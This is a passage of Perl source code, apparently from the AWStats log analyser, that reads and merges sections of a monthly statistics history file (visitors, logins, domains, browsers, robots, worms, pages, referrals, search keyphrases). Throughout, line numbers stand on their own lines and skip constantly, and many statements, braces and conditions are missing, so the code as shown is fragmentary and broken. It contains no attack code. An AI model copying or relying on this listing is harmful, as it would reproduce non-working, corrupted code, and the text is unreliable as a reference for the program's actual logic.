# if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
4127
if ( !scalar %SectionsToLoad ) {
4128
debug(" Stop reading history file. Got all we need.");
4135
if ( $field[0] eq 'BEGIN_VISITOR' ) {
4136
if ($Debug) { debug(" Begin of VISITOR section"); }
4139
my $countloaded = 0;
4144
# For backward compatibility
4145
if ($readvisitorforbackward) {
4147
$MonthUnique{ $year . $month }++;
4149
if ( $MonthRequired ne 'all' ) {
4150
if ( $field[0] !~ /^\d+\.\d+\.\d+\.\d+$/
4151
&& $field[0] !~ /^[0-9A-F]*:/i )
4153
$MonthHostsKnown{ $year . $month }++;
4155
else { $MonthHostsUnknown{ $year . $month }++; }
4159
# Process data saved in 'wait' arrays
4160
if ( $withupdate && $_waithost_e{ $field[0] } ) {
4161
my $timehostl = int( $field[4] || 0 );
4162
my $timehosts = int( $field[5] || 0 );
4163
my $newtimehosts = (
4164
$_waithost_s{ $field[0] }
4165
? $_waithost_s{ $field[0] }
4166
: $_host_s{ $field[0] }
4168
my $newtimehostl = (
4169
$_waithost_l{ $field[0] }
4170
? $_waithost_l{ $field[0] }
4171
: $_host_l{ $field[0] }
4173
if ( $newtimehosts > $timehostl + $VISITTIMEOUT ) {
4176
" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",
4180
if ( $field[6] ) { $_url_x{ $field[6] }++; }
4181
$_url_e{ $_waithost_e{ $field[0] } }++;
4182
$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
4184
if ( $timehosts && $timehostl ) {
4186
GetSessionRange( $timehosts,
4190
if ( $_waithost_s{ $field[0] } ) {
4192
# First session found in log was followed by another one so it's finished
4194
GetSessionRange( $newtimehosts,
4199
# Here $_host_l $_host_s and $_host_u are correctly defined
4204
" Visit for $field[0] in 'wait' arrays is following of last visit in history",
4208
if ( $_waithost_s{ $field[0] } ) {
4210
# First session found in log was followed by another one so it's finished
4214
$timehosts, $newtimehosts
4216
$timehostl > $newtimehostl
4222
# Here $_host_l $_host_s and $_host_u are correctly defined
4226
# We correct $_host_l $_host_s and $_host_u
4227
if ( $timehostl > $newtimehostl ) {
4228
$_host_l{ $field[0] } = $timehostl;
4229
$_host_u{ $field[0] } = $field[6];
4231
if ( $timehosts < $newtimehosts ) {
4232
$_host_s{ $field[0] } = $timehosts;
4236
delete $_waithost_e{ $field[0] };
4237
delete $_waithost_l{ $field[0] };
4238
delete $_waithost_s{ $field[0] };
4239
delete $_waithost_u{ $field[0] };
4243
if ( $readvisitorforbackward != 2
4244
&& $SectionsToLoad{'visitor'} )
4245
{ # if readvisitorforbackward==2 we do not load
4251
if ( $HTMLOutput{'allhosts'}
4252
|| $HTMLOutput{'lasthosts'} )
4257
|| $field[0] =~ /$FilterIn{'host'}/i
4259
&& ( !$FilterEx{'host'}
4261
/$FilterEx{'host'}/i )
4267
elsif ($MonthRequired eq 'all'
4268
|| $field[2] >= $MinHit{'Host'} )
4271
$HTMLOutput{'unknownip'}
4272
&& ( $field[0] =~ /^\d+\.\d+\.\d+\.\d+$/
4273
|| $field[0] =~ /^[0-9A-F]*:/i )
4280
&& ( $MonthRequired eq 'all'
4282
$MaxNbOf{'HostsShown'} )
4291
$_host_p{ $field[0] } += $field[1];
4294
$_host_h{ $field[0] } += $field[2];
4297
$_host_k{ $field[0] } += $field[3];
4299
if ( $field[4] && !$_host_l{ $field[0] } )
4300
{ # We save last connexion params if not previously defined
4301
$_host_l{ $field[0] } = int( $field[4] );
4303
{ # field[5] field[6] are used only for update
4305
&& !$_host_s{ $field[0] } )
4307
$_host_s{ $field[0] } =
4311
&& !$_host_u{ $field[0] } )
4313
$_host_u{ $field[0] } = $field[6];
4326
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4328
} until ( $field[0] eq 'END_VISITOR'
4329
|| $field[0] eq "${xmleb}END_VISITOR"
4331
if ( $field[0] ne 'END_VISITOR'
4332
&& $field[0] ne "${xmleb}END_VISITOR" )
4335
"History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4341
" End of VISITOR section ($count entries, $countloaded loaded)"
4344
delete $SectionsToLoad{'visitor'};
4346
# WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
4347
#if ($SectionsToSave{'visitor'}) {
4348
# Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
4349
# if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
4351
if ( !scalar %SectionsToLoad ) {
4352
debug(" Stop reading history file. Got all we need.");
4358
# BEGIN_UNKNOWNIP for backward compatibility
4359
if ( $field[0] eq 'BEGIN_UNKNOWNIP' ) {
4360
my %iptomigrate = ();
4361
if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
4364
my $countloaded = 0;
4368
if ( $SectionsToLoad{'unknownip'} ) {
4369
$iptomigrate{ $field[0] } = $field[1] || 0;
4378
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4380
} until ( $field[0] eq 'END_UNKNOWNIP'
4381
|| $field[0] eq "${xmleb}END_UNKNOWNIP"
4383
if ( $field[0] ne 'END_UNKNOWNIP'
4384
&& $field[0] ne "${xmleb}END_UNKNOWNIP" )
4387
"History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4393
" End of UNKOWNIP section ($count entries, $countloaded loaded)"
4396
delete $SectionsToLoad{'visitor'};
4398
# THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
4399
foreach ( keys %iptomigrate ) {
4400
$_host_p{$_} += int( $_host_p{'Unknown'} / $countloaded );
4401
$_host_h{$_} += int( $_host_h{'Unknown'} / $countloaded );
4402
$_host_k{$_} += int( $_host_k{'Unknown'} / $countloaded );
4403
if ( $iptomigrate{$_} > 0 ) {
4404
$_host_l{$_} = $iptomigrate{$_};
4407
delete $_host_p{'Unknown'};
4408
delete $_host_h{'Unknown'};
4409
delete $_host_k{'Unknown'};
4410
delete $_host_l{'Unknown'};
4411
if ( !scalar %SectionsToLoad ) {
4412
debug(" Stop reading history file. Got all we need.");
4419
if ( $field[0] eq 'BEGIN_LOGIN' ) {
4420
if ($Debug) { debug(" Begin of LOGIN section"); }
4423
my $countloaded = 0;
4427
if ( $SectionsToLoad{'login'} ) {
4430
$_login_p{ $field[0] } += $field[1];
4433
$_login_h{ $field[0] } += $field[2];
4436
$_login_k{ $field[0] } += $field[3];
4438
if ( !$_login_l{ $field[0] } && $field[4] ) {
4439
$_login_l{ $field[0] } = int( $field[4] );
4448
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4450
} until ( $field[0] eq 'END_LOGIN'
4451
|| $field[0] eq "${xmleb}END_LOGIN"
4453
if ( $field[0] ne 'END_LOGIN'
4454
&& $field[0] ne "${xmleb}END_LOGIN" )
4457
"History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4463
" End of LOGIN section ($count entries, $countloaded loaded)"
4466
delete $SectionsToLoad{'login'};
4467
if ( $SectionsToSave{'login'} ) {
4468
Save_History( 'login', $year, $month, $date );
4469
delete $SectionsToSave{'login'};
4477
if ( !scalar %SectionsToLoad ) {
4478
debug(" Stop reading history file. Got all we need.");
4485
if ( $field[0] eq 'BEGIN_DOMAIN' ) {
4486
if ($Debug) { debug(" Begin of DOMAIN section"); }
4489
my $countloaded = 0;
4493
if ( $SectionsToLoad{'domain'} ) {
4496
$_domener_p{ $field[0] } += $field[1];
4499
$_domener_h{ $field[0] } += $field[2];
4502
$_domener_k{ $field[0] } += $field[3];
4511
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4513
} until ( $field[0] eq 'END_DOMAIN'
4514
|| $field[0] eq "${xmleb}END_DOMAIN"
4516
if ( $field[0] ne 'END_DOMAIN'
4517
&& $field[0] ne "${xmleb}END_DOMAIN" )
4520
"History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4526
" End of DOMAIN section ($count entries, $countloaded loaded)"
4529
delete $SectionsToLoad{'domain'};
4530
if ( $SectionsToSave{'domain'} ) {
4531
Save_History( 'domain', $year, $month, $date );
4532
delete $SectionsToSave{'domain'};
4539
if ( !scalar %SectionsToLoad ) {
4540
debug(" Stop reading history file. Got all we need.");
4547
if ( $field[0] eq 'BEGIN_SESSION' ) {
4548
if ($Debug) { debug(" Begin of SESSION section"); }
4551
my $countloaded = 0;
4555
if ( $SectionsToLoad{'session'} ) {
4558
$_session{ $field[0] } += $field[1];
4567
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4569
} until ( $field[0] eq 'END_SESSION'
4570
|| $field[0] eq "${xmleb}END_SESSION"
4572
if ( $field[0] ne 'END_SESSION'
4573
&& $field[0] ne "${xmleb}END_SESSION" )
4576
"History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4582
" End of SESSION section ($count entries, $countloaded loaded)"
4585
delete $SectionsToLoad{'session'};
4587
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
4588
#if ($SectionsToSave{'session'}) {
4589
# Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
4590
# if ($withpurge) { %_session=(); }
4592
if ( !scalar %SectionsToLoad ) {
4593
debug(" Stop reading history file. Got all we need.");
4600
if ( $field[0] eq 'BEGIN_OS' ) {
4601
if ($Debug) { debug(" Begin of OS section"); }
4604
my $countloaded = 0;
4608
if ( $SectionsToLoad{'os'} ) {
4611
$_os_h{ $field[0] } += $field[1];
4620
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4622
} until ( $field[0] eq 'END_OS'
4623
|| $field[0] eq "${xmleb}END_OS"
4625
if ( $field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS" ) {
4627
"History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4633
" End of OS section ($count entries, $countloaded loaded)"
4636
delete $SectionsToLoad{'os'};
4637
if ( $SectionsToSave{'os'} ) {
4638
Save_History( 'os', $year, $month, $date );
4639
delete $SectionsToSave{'os'};
4640
if ($withpurge) { %_os_h = (); }
4642
if ( !scalar %SectionsToLoad ) {
4643
debug(" Stop reading history file. Got all we need.");
4650
if ( $field[0] eq 'BEGIN_BROWSER' ) {
4651
if ($Debug) { debug(" Begin of BROWSER section"); }
4654
my $countloaded = 0;
4658
if ( $SectionsToLoad{'browser'} ) {
4661
$_browser_h{ $field[0] } += $field[1];
4670
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4672
} until ( $field[0] eq 'END_BROWSER'
4673
|| $field[0] eq "${xmleb}END_BROWSER"
4675
if ( $field[0] ne 'END_BROWSER'
4676
&& $field[0] ne "${xmleb}END_BROWSER" )
4679
"History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4685
" End of BROWSER section ($count entries, $countloaded loaded)"
4688
delete $SectionsToLoad{'browser'};
4689
if ( $SectionsToSave{'browser'} ) {
4690
Save_History( 'browser', $year, $month, $date );
4691
delete $SectionsToSave{'browser'};
4692
if ($withpurge) { %_browser_h = (); }
4694
if ( !scalar %SectionsToLoad ) {
4695
debug(" Stop reading history file. Got all we need.");
4701
# BEGIN_UNKNOWNREFERER
4702
if ( $field[0] eq 'BEGIN_UNKNOWNREFERER' ) {
4703
if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
4706
my $countloaded = 0;
4710
if ( $SectionsToLoad{'unknownreferer'} ) {
4712
if ( !$_unknownreferer_l{ $field[0] } ) {
4713
$_unknownreferer_l{ $field[0] } =
4723
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4725
} until ( $field[0] eq 'END_UNKNOWNREFERER'
4726
|| $field[0] eq "${xmleb}END_UNKNOWNREFERER"
4728
if ( $field[0] ne 'END_UNKNOWNREFERER'
4729
&& $field[0] ne "${xmleb}END_UNKNOWNREFERER" )
4732
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4738
" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"
4741
delete $SectionsToLoad{'unknownreferer'};
4742
if ( $SectionsToSave{'unknownreferer'} ) {
4743
Save_History( 'unknownreferer', $year, $month, $date );
4744
delete $SectionsToSave{'unknownreferer'};
4745
if ($withpurge) { %_unknownreferer_l = (); }
4747
if ( !scalar %SectionsToLoad ) {
4748
debug(" Stop reading history file. Got all we need.");
4754
# BEGIN_UNKNOWNREFERERBROWSER
4755
if ( $field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER' ) {
4757
debug(" Begin of UNKNOWNREFERERBROWSER section");
4761
my $countloaded = 0;
4765
if ( $SectionsToLoad{'unknownrefererbrowser'} ) {
4767
if ( !$_unknownrefererbrowser_l{ $field[0] } ) {
4768
$_unknownrefererbrowser_l{ $field[0] } =
4778
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4780
} until ( $field[0] eq 'END_UNKNOWNREFERERBROWSER'
4781
|| $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER"
4783
if ( $field[0] ne 'END_UNKNOWNREFERERBROWSER'
4784
&& $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER" )
4787
"History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4793
" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"
4796
delete $SectionsToLoad{'unknownrefererbrowser'};
4797
if ( $SectionsToSave{'unknownrefererbrowser'} ) {
4798
Save_History( 'unknownrefererbrowser',
4799
$year, $month, $date );
4800
delete $SectionsToSave{'unknownrefererbrowser'};
4801
if ($withpurge) { %_unknownrefererbrowser_l = (); }
4803
if ( !scalar %SectionsToLoad ) {
4804
debug(" Stop reading history file. Got all we need.");
4811
if ( $field[0] eq 'BEGIN_SCREENSIZE' ) {
4812
if ($Debug) { debug(" Begin of SCREENSIZE section"); }
4815
my $countloaded = 0;
4819
if ( $SectionsToLoad{'screensize'} ) {
4822
$_screensize_h{ $field[0] } += $field[1];
4831
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4833
} until ( $field[0] eq 'END_SCREENSIZE'
4834
|| $field[0] eq "${xmleb}END_SCREENSIZE"
4836
if ( $field[0] ne 'END_SCREENSIZE'
4837
&& $field[0] ne "${xmleb}END_SCREENSIZE" )
4840
"History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4846
" End of SCREENSIZE section ($count entries, $countloaded loaded)"
4849
delete $SectionsToLoad{'screensize'};
4850
if ( $SectionsToSave{'screensize'} ) {
4851
Save_History( 'screensize', $year, $month, $date );
4852
delete $SectionsToSave{'screensize'};
4853
if ($withpurge) { %_screensize_h = (); }
4855
if ( !scalar %SectionsToLoad ) {
4856
debug(" Stop reading history file. Got all we need.");
4863
if ( $field[0] eq 'BEGIN_ROBOT' ) {
4864
if ($Debug) { debug(" Begin of ROBOT section"); }
4867
my $countloaded = 0;
4871
if ( $SectionsToLoad{'robot'} ) {
4874
$_robot_h{ $field[0] } += $field[1];
4876
$_robot_k{ $field[0] } += $field[2];
4877
if ( !$_robot_l{ $field[0] } ) {
4878
$_robot_l{ $field[0] } = int( $field[3] );
4881
$_robot_r{ $field[0] } += $field[4];
4890
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4892
} until ( $field[0] eq 'END_ROBOT'
4893
|| $field[0] eq "${xmleb}END_ROBOT"
4895
if ( $field[0] ne 'END_ROBOT'
4896
&& $field[0] ne "${xmleb}END_ROBOT" )
4899
"History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4905
" End of ROBOT section ($count entries, $countloaded loaded)"
4908
delete $SectionsToLoad{'robot'};
4909
if ( $SectionsToSave{'robot'} ) {
4910
Save_History( 'robot', $year, $month, $date );
4911
delete $SectionsToSave{'robot'};
4919
if ( !scalar %SectionsToLoad ) {
4920
debug(" Stop reading history file. Got all we need.");
4927
if ( $field[0] eq 'BEGIN_WORMS' ) {
4928
if ($Debug) { debug(" Begin of WORMS section"); }
4931
my $countloaded = 0;
4935
if ( $SectionsToLoad{'worms'} ) {
4938
$_worm_h{ $field[0] } += $field[1];
4940
$_worm_k{ $field[0] } += $field[2];
4941
if ( !$_worm_l{ $field[0] } ) {
4942
$_worm_l{ $field[0] } = int( $field[3] );
4951
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
4953
} until ( $field[0] eq 'END_WORMS'
4954
|| $field[0] eq "${xmleb}END_WORMS"
4956
if ( $field[0] ne 'END_WORMS'
4957
&& $field[0] ne "${xmleb}END_WORMS" )
4960
"History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
4966
" End of WORMS section ($count entries, $countloaded loaded)"
4969
delete $SectionsToLoad{'worms'};
4970
if ( $SectionsToSave{'worms'} ) {
4971
Save_History( 'worms', $year, $month, $date );
4972
delete $SectionsToSave{'worms'};
4979
if ( !scalar %SectionsToLoad ) {
4980
debug(" Stop reading history file. Got all we need.");
4987
if ( $field[0] eq 'BEGIN_EMAILSENDER' ) {
4988
if ($Debug) { debug(" Begin of EMAILSENDER section"); }
4991
my $countloaded = 0;
4995
if ( $SectionsToLoad{'emailsender'} ) {
4998
$_emails_h{ $field[0] } += $field[1];
5001
$_emails_k{ $field[0] } += $field[2];
5003
if ( !$_emails_l{ $field[0] } ) {
5004
$_emails_l{ $field[0] } = int( $field[3] );
5013
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5015
} until ( $field[0] eq 'END_EMAILSENDER'
5016
|| $field[0] eq "${xmleb}END_EMAILSENDER"
5018
if ( $field[0] ne 'END_EMAILSENDER'
5019
&& $field[0] ne "${xmleb}END_EMAILSENDER" )
5022
"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5028
" End of EMAILSENDER section ($count entries, $countloaded loaded)"
5031
delete $SectionsToLoad{'emailsender'};
5032
if ( $SectionsToSave{'emailsender'} ) {
5033
Save_History( 'emailsender', $year, $month, $date );
5034
delete $SectionsToSave{'emailsender'};
5041
if ( !scalar %SectionsToLoad ) {
5042
debug(" Stop reading history file. Got all we need.");
5049
if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) {
5050
if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
5053
my $countloaded = 0;
5057
if ( $SectionsToLoad{'emailreceiver'} ) {
5060
$_emailr_h{ $field[0] } += $field[1];
5063
$_emailr_k{ $field[0] } += $field[2];
5065
if ( !$_emailr_l{ $field[0] } ) {
5066
$_emailr_l{ $field[0] } = int( $field[3] );
5075
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5077
} until ( $field[0] eq 'END_EMAILRECEIVER'
5078
|| $field[0] eq "${xmleb}END_EMAILRECEIVER"
5080
if ( $field[0] ne 'END_EMAILRECEIVER'
5081
&& $field[0] ne "${xmleb}END_EMAILRECEIVER" )
5084
"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5090
" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
5093
delete $SectionsToLoad{'emailreceiver'};
5094
if ( $SectionsToSave{'emailreceiver'} ) {
5095
Save_History( 'emailreceiver', $year, $month, $date );
5096
delete $SectionsToSave{'emailreceiver'};
5103
if ( !scalar %SectionsToLoad ) {
5104
debug(" Stop reading history file. Got all we need.");
5111
if ( $field[0] eq 'BEGIN_SIDER' ) {
5112
if ($Debug) { debug(" Begin of SIDER section"); }
5115
my $countloaded = 0;
5119
if ( $SectionsToLoad{'sider'} ) {
5125
if ( $HTMLOutput{'main'} ) {
5126
if ( $MonthRequired eq 'all' ) {
5131
$countloaded < $MaxNbOf{'PageShown'}
5132
&& $field[1] >= $MinHit{'File'} )
5136
$TotalDifferentPages++;
5140
{ # This is for $HTMLOutput = urldetail, urlentry or urlexit
5141
if ( $MonthRequired eq 'all' ) {
5148
&& ( !$FilterEx{'url'}
5150
/$FilterEx{'url'}/ )
5163
&& ( !$FilterEx{'url'}
5165
/$FilterEx{'url'}/ )
5166
&& $field[1] >= $MinHit{'File'}
5171
$TotalDifferentPages++;
5175
# Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
5176
$TotalBytesPages += ( $field[2] || 0 );
5177
$TotalEntries += ( $field[3] || 0 );
5178
$TotalExits += ( $field[4] || 0 );
5182
$_url_p{ $field[0] } += $field[1];
5185
$_url_k{ $field[0] } += $field[2];
5188
$_url_e{ $field[0] } += $field[3];
5191
$_url_x{ $field[0] } += $field[4];
5202
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5204
} until ( $field[0] eq 'END_SIDER'
5205
|| $field[0] eq "${xmleb}END_SIDER"
5207
if ( $field[0] ne 'END_SIDER'
5208
&& $field[0] ne "${xmleb}END_SIDER" )
5211
"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5217
" End of SIDER section ($count entries, $countloaded loaded)"
5220
delete $SectionsToLoad{'sider'};
5222
# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
5223
#if ($SectionsToSave{'sider'}) {
5224
# Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
5225
# if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
5227
if ( !scalar %SectionsToLoad ) {
5228
debug(" Stop reading history file. Got all we need.");
5235
if ( $field[0] eq 'BEGIN_FILETYPES' ) {
5236
if ($Debug) { debug(" Begin of FILETYPES section"); }
5239
my $countloaded = 0;
5243
if ( $SectionsToLoad{'filetypes'} ) {
5246
$_filetypes_h{ $field[0] } += $field[1];
5249
$_filetypes_k{ $field[0] } += $field[2];
5252
$_filetypes_gz_in{ $field[0] } += $field[3];
5255
$_filetypes_gz_out{ $field[0] } += $field[4];
5264
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5266
} until ( $field[0] eq 'END_FILETYPES'
5267
|| $field[0] eq "${xmleb}END_FILETYPES"
5269
if ( $field[0] ne 'END_FILETYPES'
5270
&& $field[0] ne "${xmleb}END_FILETYPES" )
5273
"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5279
" End of FILETYPES section ($count entries, $countloaded loaded)"
5282
delete $SectionsToLoad{'filetypes'};
5283
if ( $SectionsToSave{'filetypes'} ) {
5284
Save_History( 'filetypes', $year, $month, $date );
5285
delete $SectionsToSave{'filetypes'};
5289
%_filetypes_gz_in = ();
5290
%_filetypes_gz_out = ();
5293
if ( !scalar %SectionsToLoad ) {
5294
debug(" Stop reading history file. Got all we need.");
5301
if ( $field[0] eq 'BEGIN_SEREFERRALS' ) {
5302
if ($Debug) { debug(" Begin of SEREFERRALS section"); }
5305
my $countloaded = 0;
5309
if ( $SectionsToLoad{'sereferrals'} ) {
5311
if ( $versionnum < 5004 )
5312
{ # For history files < 5.4
5315
if ( $SearchEnginesHashID{$se} ) {
5316
$_se_referrals_h{ $SearchEnginesHashID{$se}
5321
$_se_referrals_h{ $field[0] } += $field[1]
5325
elsif ( $versionnum < 5091 )
5326
{ # For history files < 5.91
5329
if ( $SearchEnginesHashID{$se} ) {
5330
$_se_referrals_p{ $SearchEnginesHashID{$se}
5333
$_se_referrals_h{ $SearchEnginesHashID{$se}
5338
$_se_referrals_p{ $field[0] } += $field[1]
5340
$_se_referrals_h{ $field[0] } += $field[2]
5346
$_se_referrals_p{ $field[0] } += $field[1];
5349
$_se_referrals_h{ $field[0] } += $field[2];
5359
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5361
} until ( $field[0] eq 'END_SEREFERRALS'
5362
|| $field[0] eq "${xmleb}END_SEREFERRALS"
5364
if ( $field[0] ne 'END_SEREFERRALS'
5365
&& $field[0] ne "${xmleb}END_SEREFERRALS" )
5368
"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5374
" End of SEREFERRALS section ($count entries, $countloaded loaded)"
5377
delete $SectionsToLoad{'sereferrals'};
5378
if ( $SectionsToSave{'sereferrals'} ) {
5379
Save_History( 'sereferrals', $year, $month, $date );
5380
delete $SectionsToSave{'sereferrals'};
5382
%_se_referrals_p = ();
5383
%_se_referrals_h = ();
5386
if ( !scalar %SectionsToLoad ) {
5387
debug(" Stop reading history file. Got all we need.");
5394
if ( $field[0] eq 'BEGIN_PAGEREFS' ) {
5395
if ($Debug) { debug(" Begin of PAGEREFS section"); }
5398
my $countloaded = 0;
5402
if ( $SectionsToLoad{'pagerefs'} ) {
5410
!$FilterIn{'refererpages'}
5412
/$FilterIn{'refererpages'}/
5414
&& ( !$FilterEx{'refererpages'}
5416
/$FilterEx{'refererpages'}/ )
5423
if ( $versionnum < 5004 )
5424
{ # For history files < 5.4
5426
$_pagesrefs_h{ $field[0] } +=
5432
$_pagesrefs_p{ $field[0] } +=
5436
$_pagesrefs_h{ $field[0] } +=
5449
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5451
} until ( $field[0] eq 'END_PAGEREFS'
5452
|| $field[0] eq "${xmleb}END_PAGEREFS"
5454
if ( $field[0] ne 'END_PAGEREFS'
5455
&& $field[0] ne "${xmleb}END_PAGEREFS" )
5458
"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5464
" End of PAGEREFS section ($count entries, $countloaded loaded)"
5467
delete $SectionsToLoad{'pagerefs'};
5468
if ( $SectionsToSave{'pagerefs'} ) {
5469
Save_History( 'pagerefs', $year, $month, $date );
5470
delete $SectionsToSave{'pagerefs'};
5471
if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); }
5473
if ( !scalar %SectionsToLoad ) {
5474
debug(" Stop reading history file. Got all we need.");
5481
if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
5484
" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
5489
my $countloaded = 0;
5493
if ( $SectionsToLoad{'searchwords'} ) {
5499
if ( $HTMLOutput{'main'} ) {
5500
if ( $MonthRequired eq 'all' ) {
5505
$MaxNbOf{'KeyphrasesShown'}
5507
$MinHit{'Keyphrase'} )
5511
$TotalDifferentKeyphrases++;
5512
$TotalKeyphrases += ( $field[1] || 0 );
5515
elsif ( $HTMLOutput{'keyphrases'} )
5516
{ # Load keyphrases for keyphrases chart
5517
if ( $MonthRequired eq 'all' ) {
5521
if ( $field[1] >= $MinHit{'Keyphrase'} )
5525
$TotalDifferentKeyphrases++;
5526
$TotalKeyphrases += ( $field[1] || 0 );
5529
if ( $HTMLOutput{'keywords'} )
5530
{ # Load keyphrases for keywords chart
5536
if ( $loadrecord == 2 ) {
5537
foreach ( split( /\+/, $field[0] ) )
5538
{ # field[0] is "val1+val2+..."
5539
$_keywords{$_} += $field[1];
5543
$_keyphrases{ $field[0] } += $field[1];
5555
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5557
} until ( $field[0] eq 'END_SEARCHWORDS'
5558
|| $field[0] eq "${xmleb}END_SEARCHWORDS"
5560
if ( $field[0] ne 'END_SEARCHWORDS'
5561
&& $field[0] ne "${xmleb}END_SEARCHWORDS" )
5564
"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5570
" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
5573
delete $SectionsToLoad{'searchwords'};
5574
if ( $SectionsToSave{'searchwords'} ) {
5575
Save_History( 'searchwords', $year, $month, $date );
5576
delete $SectionsToSave{ 'searchwords'
5577
}; # This save searwords and keywords sections
5578
if ($withpurge) { %_keyphrases = (); }
5580
if ( !scalar %SectionsToLoad ) {
5581
